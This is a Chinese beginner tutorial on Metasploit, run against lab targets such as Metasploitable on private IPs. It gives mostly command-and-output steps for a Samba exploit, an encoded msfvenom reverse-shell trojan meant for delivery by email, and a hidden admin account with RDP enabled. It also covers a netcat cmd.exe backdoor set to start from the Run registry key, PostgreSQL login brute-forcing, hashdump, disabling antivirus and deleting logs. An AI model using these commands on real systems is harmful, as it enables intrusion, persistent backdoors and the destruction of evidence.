(菜鸟自学)漏洞利用与Metasploit

一、 Metasploit Framework介绍

什么是渗透测试?
渗透测试指的是用黑客的方式来攻击你自己的或者是客户的IT系统,来找到其中的安全漏洞。因此,渗透测试人员要有目标系统管理人员的准许才能进行测试。这就是渗透测试人员和黑客之间的区别。
什么是vulnerability?
vulnerability是指软件、硬件或者操作系统中存在的安全漏洞。一个vulnerability可以像弱密码这样简单广也可能像缓冲区溢出或者SQL注入这样复杂。我们可以使用Nexpose来扫描vulnerability 。
什么是exploit?
为了利用一个vulnerability(系统存在的漏洞),你通常需要个exploit(利用漏洞的代码)。exploit存在的唯一理由就是利用vulnerability,然后为你提供目标的权限。exploit通常会向目标发送payload(攻击成功后向目标传递的恶意代码),以此来获取目标的权限。
什么是payload?
payload是目标系统被exploit之后,让你控制目标系统的软件。payload通常是由exploit来传递到目标系统上的。
Meterpreter是Metasploit中最受欢迎的payload,它让你能在目标系统上做很多事情。比如,你可以上传下载文件、截屏、收集密码的哈希值。你甚至可以控制自标的鼠标、键盘和屏幕等。
Metasploit
Metasploit就是一个漏洞框架,它拥有全世界最大的、优质的exploit数据库。
它的全称叫做The Metasploit Framework,简称叫做MSF。Metasploit作为全球最受欢迎的王具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。
MSF采用了模块化的设计,便于攻击者使用编程(ruby)技能扩展和开发自定义插件和工县。

二、MSF与Meterpreter的使用指南

启动数据库
启动PostgreSQL并设置为开机自启(配置数据库来更方便更快速的查询各种模块)

systemctl enable postgresql --now

创建用户和数据库
1.切换到PSQL管理员su postgres
2.创建账号msf3(用户名并不重要),并且输入密码(自行设置,需要记住,后面需要使用)createuser -P msf3
3.创建数据库msf3(名字不重要).并且msf3这个用户是拥有者createdb --owner=msf3 msf3

┌──(root㉿kali)-[~]
└─# su postgres  
postgres@kali:/root$ cd 
postgres@kali:~$ createuser -P msf3
为新角色输入的口令: 
再输入一遍: 
postgres@kali:~$ createdb --owner=msf3 msf3

Metasploit
进入MSF Console
kali命令行终端下直接输入msfconsole

┌──(root㉿kali)-[~]
└─# msfconsole
                                             

         .                                         .
 .

      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o
       '   dB'                     BBP
    dB'dB'dB' dBBP     dBP     dBP BB
   dB'dB'dB' dBP      dBP     dBP  BB
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB

                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP
          .                  .                  dB' dBP    dB'.BP
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP

                                                                .
            .
        o                  To boldly go where no
                            shell has gone before
       =[ metasploit v6.3.10-dev                          ]
+ -- --=[ 2306 exploits - 1205 auxiliary - 412 post       ]
+ -- --=[ 968 payloads - 46 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]
Metasploit tip: Use the resource command to run 
commands from a file
Metasploit Documentation: https://docs.metasploit.com/
msf6 > 

连接数据库,查看数据库状态
#连接本地msf3数据库,使用用户名msf3密码123456

msf6 > db_connect msf3:123456@localhost/msf3
[*] Connected to Postgres data service: localhost/msf3
msf6 > db_status
[*] Connected to msf3. Connection type: postgresql. Connection name: local_db_service.
msf6 > 

通常按照如下顺序设置MSF :

命令参数参数用途
search查看相关exploits。
use加载相关exploits。
show payloads查看该模块的攻击载荷。
set payload设置攻击载荷。
show options查看需要设置的攻击载荷选项。
set设置攻击载荷选项。
show targets查看该模块适用的操作系统。
set target设置攻击的操作系统。
exploit效果和run是一样的。加上-j参数后,渗透攻击就在后台进行、此时我们可以继续做其他的事情而不是—直等着渗透攻击的结果。

MSF资源文件
我们可以将针对某个目标发动攻击使用到的所有命令放到一个文件中,调用这个文件之后,攻击就自动进行了。这样的文件就是资源文件。例如,我有个文件叫做qytAutoExploit.rc,文件内容如下:

use exploit/windows/smb/ms08_067_netapi
set rhost 192.168.100.111
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.100.10
exploit

在terminal中输入如下命令发起自动攻击

┌──(root㉿kali)-[~]
└─# msfconsole -r qytAutoExploit.rc 

Meterpreter常用命令

命令参数参数用法
background回到前一个命令提示符下,可以使用sessions -l -v看到每个session,使用sessions -i session -id切换到指定的session。
screenshot将目标主机截屏;并且将图片保存在本地,具体路径会有提示。
sysinfo显示目标主机的系统信息。
ps查看目标主机上正在运行的进程。
migrate将meterpreter迁移到目标比较稳定的进程中。

Meterpreter脚本使用

参数命令命令用途
run keylogrecorder键盘记录器
run hashdump收集目标的密码哈希值
run get_local_subnets获取目标主机本地可路由信息
run vnc打开远端Windows系统的桌面
run killav关闭杀毒软件

Metasploitable靶机操作系统

Metasploitable是一个特意设计用作漏洞测试的虚拟机。它基于Ubuntu操作系统,并集成了大量已知的漏洞和弱点,旨在提供一个可供安全专业人员和渗透测试人员进行实验和练习的平台。
Metasploitable的目的是帮助用户了解和学习如何利用各种常见漏洞进行攻击,以强化对系统安全的认识。这个虚拟机包含了多个服务和应用程序,其中一些存在已知的漏洞,例如未经授权访问、弱密码、缓冲区溢出等。这使得用户可以使用Metasploit等渗透测试工具,对其进行攻击和漏洞利用。
Metasploitable还提供了一些示例漏洞和攻击场景,例如Web应用程序漏洞(如SQL注入、文件包含等)、网络服务漏洞(如FTP、Telnet、SSH等)、数据库漏洞(如MySQL、PostgreSQL等)等。通过与Metasploitable进行交互,用户可以学习和练习漏洞利用技术、安全漏洞修复和防御策略。
需要注意的是,Metasploitable仅供教育和合法的安全测试目的使用。在使用过程中,请确保遵守适用的法律法规,并且仅在授权的环境中进行操作。
总结起来,Metasploitable是一个专为漏洞测试和渗透测试而设计的虚拟机,集成了多个已知的漏洞和弱点,旨在提供一个实践和学习的平台,以加强对系统安全的认识和理解。

  1. 下载链接地址https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
    下载完成后直接解压缩Metasploitable(也可以下载我使用的这版)
  2. 解压完成打开文件夹,选中Metasploitable.vmx文件使用VMware打开
  3. 点击”开启此虚拟机”即可启动Metasploitable靶机操作系统在这里插入图片描述
    在这里插入图片描述

三、使用技巧分享

自动在线攻击

使用NMAP进行扫描(可以批量自动攻击扫描到的主机)

db_nmap -T Aggressive -sV -n -O -v 192.168.100.10-110
-T<0-5>:		Set timing template (higher is faster)
-sV:			Probe open ports to determine service/version info
-O:				Enable os detection

在这里插入图片描述
查看服务
查看扫描到的服务db_services

msf6 > db_services
[-] The db_services command is DEPRECATED
[-] Use services instead
Services
========

host            port  proto  name             state     info
----            ----  -----  ----             -----     ----
192.168.100.1   80    tcp    http             open      Apache httpd 2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
192.168.100.1   902   tcp    ssl/vmware-auth  open      VMware Authentication Daemon 1.10 Uses VNC, SOAP
192.168.100.1   912   tcp    vmware-auth      open      VMware Authentication Daemon 1.0 Uses VNC, SOAP
192.168.100.1   3306  tcp    mysql            open      MySQL unauthorized
192.168.100.1   3389  tcp    ms-wbt-server    open      Microsoft Terminal Services
192.168.100.1   5357  tcp    http             open      Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
192.168.100.2   53    tcp    domain           filtered
192.168.100.10  22    tcp    ssh              open      OpenSSH 9.2p1 Debian 2 protocol 2.0

查看主机
查看扫描到的主机db_hosts

msf6 > db_hosts
[-] The db_hosts command is DEPRECATED
[-] Use hosts instead

Hosts
=====

address          mac                name  os_name     os_flavor  os_sp  purpose  info  comments
-------          ---                ----  -------     ---------  -----  -------  ----  --------
192.168.100.1    00:50:56:c0:00:08        Windows XP                    client
192.168.100.2    00:50:56:ee:58:0b        Player                        device
192.168.100.10                            Linux                  2.6.X  server
192.168.100.100  00:0C:29:7A:8F:97
192.168.100.254  00:50:56:F7:AE:1B

MSF-Auto
Metasploit在4.2版本之后移除了db_autopwn模块,用户需要手动添加并加载该模块

db_autopwn.rb 在 Github 可以获取:
https://github.com/neinwechter/metasploit-framework/blob/autopwn-modules/plugins/db_autopwn.rb
在这里插入图片描述

将db_autopwn.rb放到kali中的metasploit的plugin文件夹内:
​ 路径:/usr/share/Metasploit-framework/plugins/
在这里插入图片描述
进入msf console,装载db_autopwn插件(每次都要重新加载〉:
装载使用load
卸载使用unload

msf6 > load db_autopwn
[*] Successfully loaded plugin: DB AutoPWN

不管在任何位置都可以使用back退回到"msf >"
发起自动攻击

>db_autopwn -p-t -e 
-p	Select modules based on open portsc
-t	Show all matching exploit modules
-e	Launch exploits against all matched targets

在这里插入图片描述
攻击成功后,与目标建立的会话:XP会被自动攻击搞定,并且建立会话

后渗透攻击阶段

信息收集&清理痕迹
我们渗透入一台服务器,主要是为了完成自己需要的操作,比如信息的收集、权限提升或是修改现有配置。当然在我们完成这些任务后,别忘了“打扫战场”,清理渗透所遗留的痕迹。
信息收集
对于一台Windows服务器,我们可以收集网络配置、DNS服务配置、路由、共享信息、域控制器配置等。
1.收集操作系统和版本信息

C:\systeminfo ——查看系统信息
C:\systeminfo | findstr /B/c:"Os Name" iC:" Os version”

2主机名称和环境变量

C:\hostname—查看主机名称
C:\set-一查看系统所有环境变量

3.用户账户信息

C:\net user 							——查看本地所有用户账户
C:\net localgroup 						——查看本地所有用户组蔡
C:\net user /domain						——查看域用户账户
C:\net group /domain 					——查着域用户组
C:\net group "Domain Admins" /domain 	——查看特定域组中的用户
C:\query user							——查看己登录(在线)的用户

4.远程端口

C:\netstat -ano | more ——查看开放端口与连接

5.网络信息

C:\ipconfig /all				——查看网络配置
C:\route print					——头查看路由表
C:\arp-a						——查看ARP缓存
C:\netsh firewall show config 	—— 查看防火墙配置
C:\netsh firewall show state	——查看防火墙状态

6.己安装的应用程序和服务

C:\wmic product list brief		——查看当前已安装的应用程序
C:\tasklist						——查看当前运行的进程列表
C:\tasklist/SVC					——查看每个行程中的服务

7.注册表
C:\reg query HKLM /f 关键字 /t REG_SZ /s一9按关键字搜索注册表
注册表主根键名称:

  • HKEY_ LOCAL_MACHINE ——机器软硬件信息
  • HKEY_CURRENT_USER ——当前用户所用信息储存
  • HKEY_CLASSEs_ROOT ——文件关联相关信息
  • HKEY_USERS ——所有用户信息
  • HKEY_CURRENT_CONFIG ——当前系统配置
C:\reg query HKLM /f password /t REG_SZ /s	——搜索软硬件信息中与“password”相关的注册表项
Windows Autologin:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

8.系统权限

C:\cacls		——显示或者修改文件的访问控制列表(ACL)
C:\cacls c:\	——查看目录C:\的访问权限

信息收集WMIC
WMIC扩展WMI (Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。——Windows管理框架

C:\Users\Administrator>wmic
wmic:root\cli>process where name="explorer.exe" list full
wmic:root\cli>process where name="进程名称.exe" list full			——显示进程的详细信息

使用WMIC控制运行服务:

Service where caption=“显示服务名称(服务描述) " call stopservice		——停止服务
Service where caption=“显示服务名称(服务描述) " call startservice	——启动服务
Service where name="服务名称"call pauseservice						——暂停服务
Service where caption="windows time" call stopservice				——停止服务
输入"Y"确认执行,返回值=0,表示执行成功!
Service where caption="windows time" call startservice	——启动服务
输入"Y"确认执行,返回值=0,表示执行成功!
wmic>process call create "C:\Windwos\System32\notepad.exe" ——创建进程

process where name="进程名称.exe" call terminate ——结束进程
wmic:root\cli>process where name="notepad.exe" call terminate
输入"Y"确认执行,返回值=0,表示执行成功!
wmic> bios list full ——显示BIOS信息

清理痕迹
当我们完成所有的渗透测试工作后需要清理我们在操作系统内留下的痕迹。仅仅是清除部分本地记录,如果存在日志服务器,渗透操作还是会被记录下来。
清除本地日志记录:
C: >del %WINDIR%*.log /a/s/q/f —强制静默删除只读文件

四、经典攻击示范

入侵Linux操作系统

samba漏洞利用

  1. 终端启动msf应用服务,执行以下搜索命令
search samba

在这里插入图片描述

  1. 执行命令use 8 使用对应模块,并设置攻击目标发起攻击
    在这里插入图片描述
  2. 攻击运行成功后自动建立会话,可执行“id”、“uname -a”、“ip -a”等命令并返回相关信息,此刻就获得了目标靶机的系统控制权。在这里插入图片描述

入侵Windows操作系统

利用后门程序控制靶机

  1. 打开终端,执行命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.100.14 LPORT=4444 -f exe >lsp.exe
┌──(root㉿kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.100.14 LPORT=4444 -f exe >lsp.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai succeeded with size 408 (iteration=1)
x86/shikata_ga_nai succeeded with size 435 (iteration=2)
x86/shikata_ga_nai succeeded with size 462 (iteration=3)
x86/shikata_ga_nai succeeded with size 489 (iteration=4)
x86/shikata_ga_nai chosen with final size 489
Payload size: 489 bytes
Final size of exe file: 73802 bytes
  1. 在终端执行命令msfconsole启动Metasploit,输入命令use exploit/multi/handler加载后门模块。在这里插入图片描述
  2. 在模块设置本地IP地址及监听端口号,并执行命令exploit,开启监听,等待中标的靶机。
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.100.14
LHOST => 192.168.100.14
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.100.14:4444
  1. 将最开始生成的木马程序传输到目标靶机(如邮件、文件共享、网络下载、移动存储拷贝等方法),最后在靶机执行该程序。
    在MSF终端即可显示渗透成功,并返回一个控制通道“meterpreter”。在此通道中执行命令screenshot可以获取目标靶机当前状态的屏幕截图,并保存在root目录下;执行shell命令即可获取靶机的控制权,之后就可以对目标靶机为所欲为啦!
    在这里插入图片描述
    在这里插入图片描述

持续远程访问

1. 启用Telnet远程服务
  • 首先得获得一个meterpreter控制通道,执行命令execute -H -f cmd -i,创建一个隐藏的交互shell进程。
    在这里插入图片描述
  • 创建一个账户Service_Account并加入管理员组。
//创建账号名为“Service_Account”,密码为“password”的账号
net user Service_Account password /add
//将创建的账号加入管理员组
net localgroup administrators Service_Account /add

如果想要后面telnet成功登录,此处账号密码不要为空,系统默认不允许账号密码为空的账号远程访问计算机。
在这里插入图片描述

  • exit退回到控制通道执行命令run gettelnet -e,在被入侵的系统中创建一个持久的telnet服务进程。
    在这里插入图片描述
  • 进程创建成功以后就可以随时访问目标系统了,可直接在终端执行命令telnet 192.168.100.6,登录用户名密码填之前创建的用户名以及密码即可。在这里插入图片描述
2. 启用Windows远程终端服务
  • 首先得获得一个meterpreter控制通道,执行命令shell,创建一个交互shell进程。
  • 创建一个账户Service_Account并加入管理员组。
C:\Users\user\Desktop>net user Service_Account password /add
net user Service_Account password /add
The command completed successfully.
C:\Users\user\Desktop>net localgroup administrators Service_Account /add
net localgroup administrators Service_Account /add
The command completed successfully.

在shell中执行命令REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f,使用命令修改注册表中的RDP服务为允许连接。

C:\Users\user\Desktop>REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
The operation completed successfully.
  • 为确保RDP能够通过防火墙,添加防火墙规则,netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
C:\Users\user\Desktop>netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
Ok.
  • 开启RDP服务,命令net start Termservice
C:\Users\user\Desktop>net start Termservice
net start Termservice
The requested service has already been started.
More help is available by typing NET HELPMSG 2182.
  • 为RDP服务具备持久性,执行命令sc config Termservice start= auto,确保计算机每次启动后都自动开启RDP服务。
C:\Users\user\Desktop>sc config Termservice start= auto
sc config Termservice start= auto
[SC] ChangeServiceConfig SUCCESS
  • 打开Kali终端执行命令rdesktop -u Service_Account -p password 192.168.100.10,即可连接目标系统的远程桌面。
    在这里插入图片描述
    在这里插入图片描述

持续代理

Netcat(简称为nc)是一种功能强大的网络工具,用于在计算机之间进行数据传输和创建网络连接。它提供了一个简单且灵活的界面,可以执行多种网络任务。
Netcat的主要特点包括:

  1. 端口扫描:Netcat允许您扫描目标主机上的端口,以确定哪些端口处于打开状态。这对于评估网络安全性和检查网络服务的可用性非常有用。
  2. 客户端/服务器模式:Netcat可以同时充当客户端和服务器。作为服务器,它可以监听指定的端口并等待来自其他计算机的连接请求。作为客户端,它可以主动连接到运行在远程计算机上的服务。
  3. 文件传输:Netcat可以用于在计算机之间传输文件。您可以将文件从一个计算机发送到另一个计算机,也可以接收来自其他计算机发送的文件。
  4. 网络代理:Netcat可以用作网络代理,将流量从一个端口转发到另一个端口。这在需要将流量重定向到其他计算机或端口时非常有用。
  5. 简单聊天工具:Netcat还可以用于在终端之间进行简单的聊天会话。您可以通过建立连接,在两个终端之间发送消息和接收消息。

由于Netcat提供了一种灵活而强大的方式来处理网络数据,它成为了网络和系统管理员、安全专业人员以及研究人员的常用工具。
需要注意的是,由于其功能的强大性,Netcat也可以被滥用为攻击工具。因此,在使用Netcat时,请确保遵守适用法律和道德规范,并获得合法的授权和权限。

  • 首先得获得一个meterpreter控制通道,执行命令upload /usr/share/windows-binaries/nc.exe c:\\WINDOWS\\system32将Kali库中的nc.exe上传到被攻击的目标系统中。
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
[*] uploading  : /usr/share/windows-binaries/nc.exe -> C:\windows\system32
[*] uploaded   : /usr/share/windows-binaries/nc.exe -> C:\windows\system32\nc.exe                                                                             
  • 执行命令reg setval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v nc -d "c:\\Windows\\system32\\nc.exe -Ldp 444 -e cmd.exe"配置注册表使目标系统启动NC并监听444 端口。
meterpreter > reg setval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v nc -d "c:\\Windows\\system32\\nc.exe -Ldp 444 -e cmd.exe"
Successfully set nc of REG_SZ.
  • 使用queryval命令确认修改注册表是否成功,执行命令reg queryval -k HKLM\\SOFTWARE\\Microsoft\\windows\\CurrentVersion\\Run -v nc
meterpreter > reg queryval -k HKLM\\SOFTWARE\\Microsoft\\windows\\CurrentVersion\\Run -v nc
Key: HKLM\SOFTWARE\Microsoft\windows\CurrentVersion\Run
Name: nc
Type: REG_SZ
Data: c:\Windows\system32\nc.exe -Ldp 444 -e cmd.exe
  • 在Windows的shell中使用命令netsh firewall add portopening TCP 444 "service passthrough"为目标系统中防火墙增加通过的444端口。
meterpreter > shell
Process 1964 created.
Channel 3 created.
chMicrosoft Windows [▒汾 6.1.7600]
▒▒Ȩ▒▒▒▒ (c) 2009 Microsoft Corporation▒▒▒▒▒▒▒▒▒▒Ȩ▒▒
C:\Users\user\Desktop>chcp 65001
chcp 65001
Active code page: 65001
C:\Users\user\Desktop>netsh firewall add portopening TCP 444 "service passthrough"
netsh firewall add portopening TCP 444 "service passthrough"
IMPORTANT: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at http://go.microsoft.com/fwlink/?linkid=121488 .
Ok.
  • 执行命令netsh firewall show portopening查看端口添加是否成功。
C:\Users\user\Desktop>netsh firewall show portopening
netsh firewall show portopening
Port configuration for 域 profile:
Port   Protocol  Mode    Traffic direction     Name
-------------------------------------------------------------------
3389   TCP       启用      入站                    Remote Desktop
3389   TCP       启用      入站                    Remote Desktop
Port configuration for 标准 profile:
Port   Protocol  Mode    Traffic direction     Name
-------------------------------------------------------------------
3389   TCP       启用      入站                    Remote Desktop
3389   TCP       启用      入站                    Remote Desktop
IMPORTANT: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at http://go.microsoft.com/fwlink/?linkid=121488 .
  • 执行命令shutdown -r -t 00立即重启系统。
C:\Users\user\Desktop>shutdown -r -t 00
shutdown -r -t 00
C:\Users\user\Desktop>
[*] 192.168.100.10 - Meterpreter session 1 closed.  Reason: Died
  • 待目标系统重启之后,在Kali打开终端执行命令nc -v 192.168.100.10 444可直接获取到目标系统的shell。
┌──(root㉿kali)-[~]
└─# nc -v 192.168.100.10 444
192.168.100.10: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.100.10] 444 (snpp) open
Microsoft Windows [▒汾 6.1.7600]
▒▒Ȩ▒▒▒▒ (c) 2009 Microsoft Corporation▒▒▒▒▒▒▒▒▒▒Ȩ▒▒
C:\Windows\SysWOW64>chcp 65001
chcp 65001
Active code page: 65001
C:\Windows\SysWOW64>

渗透攻击PostgreSQL数据库服务

PostgreSQL是一个自由、开源的关系型数据库管理系统(DBMS),它是一种高度可扩展、具备ACID事务支持和SQL兼容性的数据库软件。它是在Berkeley计算机科学研究所开发的Ingres项目基础上,由PostgreSQL Global Development Group开发的。
PostgreSQL拥有许多先进的特性和功能,如JSON支持、复杂查询、用户定义类型和函数、触发器和存储过程、外键约束等。它支持多版本并发控制(MVCC)来处理并发访问,提供了高度的并发性能和安全性。PostgreSQL还提供各种安全功能,包括用户认证、访问控制和数据加密。
PostgreSQL可运行在多个操作系统上,包括Linux、Unix、Windows和Mac OS X。除了开源社区支持外,还有一些公司提供与PostgreSQL相关的商业支持和专业服务。总的来说,PostgreSQL是一种功能强大、可扩展、高度可定制的关系型数据库管理系统,适用于各种规模和类型的应用程序开发。
渗透攻击具体渗透如下:

  1. 终端输入命令msfconsole启动Metasploit,执行命令search postgresql搜索所有有效的PostgreSQL模块,会显示所有可以利用并进行攻击的模块。
┌──(root㉿kali)-[~]
└─# msfconsole
 ______________________________________
/ it looks like you're trying to run a \
\ module                               /
 --------------------------------------
 \
  \
     __
    /  \
    |  |
    @  @
    |  |
    || |/
    || ||
    |\_/|
    \___/
       =[ metasploit v6.2.26-dev                          ]
+ -- --=[ 2264 exploits - 1189 auxiliary - 404 post       ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion  	                                  ]
Metasploit tip: Tired of setting RHOSTS for modules? Try
globally setting it with setg RHOSTS x.x.x.x
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search postgresql
Matching Modules
================
   #   Name                                                        Disclosure Date  Rank       Check  Description
   -   ----                                                        ---------------  ----       -----  -----------
   0   auxiliary/server/capture/postgresql                                          normal     No     Authentication Capture: PostgreSQL
   1   post/linux/gather/enum_users_history                                         normal     No     Linux Gather User History
   2   exploit/multi/http/manage_engine_dc_pmp_sqli                2014-06-08       excellent  Yes    ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
   3   auxiliary/admin/http/manageengine_pmp_privesc               2014-11-08       normal     Yes    ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
   4   exploit/multi/postgres/postgres_copy_from_program_cmd_exec  2019-03-20       excellent  Yes    PostgreSQL COPY FROM PROGRAM Command Execution
   5   exploit/multi/postgres/postgres_createlang                  2016-01-01       good       Yes    PostgreSQL CREATE LANGUAGE Execution
   6   auxiliary/scanner/postgres/postgres_dbname_flag_injection                    normal     No     PostgreSQL Database Name Command Line Flag Injection
   7   auxiliary/scanner/postgres/postgres_login                                    normal     No     PostgreSQL Login Utility
   8   auxiliary/admin/postgres/postgres_readfile                                   normal     No     PostgreSQL Server Generic Query
   9   auxiliary/admin/postgres/postgres_sql                                        normal     No     PostgreSQL Server Generic Query
   10  auxiliary/scanner/postgres/postgres_version                                  normal     No     PostgreSQL Version Probe
   11  exploit/linux/postgres/postgres_payload                     2007-06-05       excellent  Yes    PostgreSQL for Linux Payload Execution
   12  exploit/windows/postgres/postgres_payload                   2009-04-10       excellent  Yes    PostgreSQL for Microsoft Windows Payload Execution
   13  auxiliary/admin/http/rails_devise_pass_reset                2013-01-28       normal     No     Ruby on Rails Devise Authentication Password Reset
   
Interact with a module by name or index. For example info 13, use 13 or use auxiliary/admin/http/rails_devise_pass_reset
  1. 本例选择扫描模块,执行命令use auxiliary/scanner/postgres/postgres_login,这里也可执行use 7
msf6 auxiliary(scanner/postgres/postgres_login) >
  1. 选用模块后执行命令show optiobs查看模块所有选项,可根据攻击情况,选择相应的选项配置。
msf6 auxiliary(scanner/postgres/postgres_login) > show options

Module options (auxiliary/scanner/postgres/postgres_login):

   Name              Current Setting                                 Required  Description
   ----              ---------------                                 --------  -----------
   BLANK_PASSWORDS   false                                           no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                               yes       How fast to bruteforce, from 0 to 5
   DATABASE          template1                                       yes       The database to authenticate against
   DB_ALL_CREDS      false                                           no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                           no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                           no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none                                            no        Skip existing credentials stored in the current database (Accepted: none, user, user&r
                                                                               ealm)
   PASSWORD                                                          no        A specific password to authenticate with
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists  no        File containing passwords, one per line
                     /postgres_default_pass.txt
   Proxies                                                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RETURN_ROWSET     true                                            no        Set to true to see query result sets
   RHOSTS                                                            yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Meta
                                                                               sploit
   RPORT             5432                                            yes       The target port
   STOP_ON_SUCCESS   false                                           yes       Stop guessing when a credential works for a host
   THREADS           1                                               yes       The number of concurrent threads (max one per host)
   USERNAME                                                          no        A specific username to authenticate as
   USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists  no        File containing (space-separated) users and passwords, one pair per line
                     /postgres_default_userpass.txt
   USER_AS_PASS      false                                           no        Try the username as the password for all users
   USER_FILE         /usr/share/metasploit-framework/data/wordlists  no        File containing users, one per line
                     /postgres_default_user.txt
   VERBOSE           true                                            yes       Whether to print output for all attempts
View the full module info with the info, or info -d command.
  1. 对目标靶机进行渗透攻击,靶机为Metasploitable2,IP地址为192.168.100.20。
    执行命令set rhosts 192.168.100.20指定攻击IP地址
    执行命令set user_file /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt指定用户名文件
    执行命令set pass_file /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt指定密码文件
msf6 auxiliary(scanner/postgres/postgres_login) > set rhosts 192.168.100.20
rhosts => 192.168.100.20
msf6 auxiliary(scanner/postgres/postgres_login) > set user_file /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
user_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
msf6 auxiliary(scanner/postgres/postgres_login) > set pass_file /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt
pass_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt
  1. 设置完成后,执行命令exploit开始渗透攻击,将输出渗透攻击过程。能从“+”号部分可以看到本次攻击获取到的数据库用户名和密码都是postgresql。
msf6 auxiliary(scanner/postgres/postgres_login) > exploit

[!] No active DB -- Credential data will not be saved!
[-] 192.168.100.20:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[+] 192.168.100.20:5432 - Login Successful: postgres:postgres@template1
[-] 192.168.100.20:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.100.20:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[*] Scanned 1 of 1 hosts (100% complete)
